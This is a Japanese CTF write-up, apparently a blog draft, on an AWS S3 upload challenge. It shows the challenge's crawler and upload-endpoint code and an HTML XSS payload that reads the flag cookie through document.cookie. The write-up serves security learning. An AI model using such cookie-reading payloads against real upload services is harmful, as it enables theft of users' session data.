Post

[wip] とある海豹とSecurity-JAWS #01 Writeup

はじめに

2024年9月21日、「とある海豹とSecurity-JAWS #01」というAWSのS3セキュリティに焦点を当てたCTFイベントに参加しました。このイベントでは、S3のファイルアップロード機能に潜む脆弱性を探ることがテーマで、特にContent-Typeヘッダの操作によるXSS脆弱性を発見していくというものでした。

イベントの主なテーマ:

  • S3のファイルアップロード時におけるContent-Typeヘッダの制御
  • 任意のファイル形式のアップロード可否の検証

本記事では、このCTFで解いた問題と、その過程で学んだポイントを紹介します。一部の問題は未解決なため全てではないですが、学びを共有しようと思います。


Writeup

構成概要

今回のCTFで提供された構成は、以下の図に示すようなものでした。

CTF構成

また、以下のようなターゲットページが用意されており、指定されたS3のURLを入力し、Cookieを付与した状態でそのURLにアクセスする仕組みです。

ターゲットページ

動作の概要

  1. ユーザは、悪意のあるHTMLファイルをアップロードします。
  2. アップロードされたファイルはS3に保存されます。
  3. アプリケーションがS3のURLを用いてアクセスを行い、特定のクッキー(フラグ)が付与された状態でターゲットのページにアクセスします。
  4. クローラーがそのページのHTMLを取得し、結果をS3バケットに保存します。
  5. S3バケットに保存されたHTMLは、iframeを使って最終的に表示されます。

クローラーの実装

クローラーは、指定されたURLにアクセスし、フラグが埋め込まれたクッキーを付与した後、そのページのHTMLを取得し、S3に保存します。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
export const crawler = async (url: string) => {
  const browser = await launch({
    headless: true, // ヘッドレスブラウザモードで起動
    args: puppeteerArgs,
  });

  const page = await browser.newPage();
  page.setCookie({
    name: "flag",
    value: process.env.FLAG || "flag{dummy}", // フラグの値
    domain: process.env.DOMAIN || "example.com", // 対象ドメイン
  });
  
  await page.goto(url); // 指定URLへアクセス
  await new Promise((resolve) => setTimeout(resolve, 500)); // ページのロード待機
  
  const bodyHandle = await page.$("body");
  const html = await page.evaluate((body) => {
    if (!body) return "HTML is empty";
    return body.innerHTML;
  }, bodyHandle);

  const path = new URL(url).pathname;
  await uploadToS3(`delivery/${path.split("/").pop()}`, Buffer.from(html)); // S3にHTMLを保存
  await browser.close();
};

Introduction

Server Side Upload

この問題は、S3のファイルアップロード機能を活用し、任意のファイルをアップロードする構成となっています。以下は、サーバーサイドでのファイルアップロードの実装です。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,  // 最大ファイルサイズ: 100MB
      files: 1,  // 一度にアップロードできるファイル数: 1つ
    },
  });

  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });  // エラーレスポンス: ファイルがアップロードされていない場合
  }

  const filename = uuidv4();  // ランダムなファイル名を生成
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,  // バケット名
    Key: `upload/${filename}`,  // アップロード先のファイルパス
    Body: data.file,  // アップロードするファイル本体
    ContentLength: data.file.bytesRead,  // ファイルのサイズ
    ContentType: data.mimetype,  // ファイルのMIMEタイプ
  });

  await s3.send(command);  // S3にファイルをアップロード
  reply.send(`/upload/${filename}`);  // アップロードされたファイルのURLを返却
  return reply;
});

以下のようなHTMLファイルをアップロードすることで、flagを取得できます。

1
2
3
4
5
6
7
8
9
10
<html lang="en">
  <body>
    <p id="flag-container">Flag: Loading...</p>
    <script>
      // クッキーから "flag" を抽出し、要素に表示する
      document.getElementById('flag-container').textContent =
        document.cookie.split(';').find(c => c.includes('flag')).split('=')[1];
    </script>
  </body>
</html>

Pre Signed Upload

This post is licensed under CC BY-SA 4.0 by the author.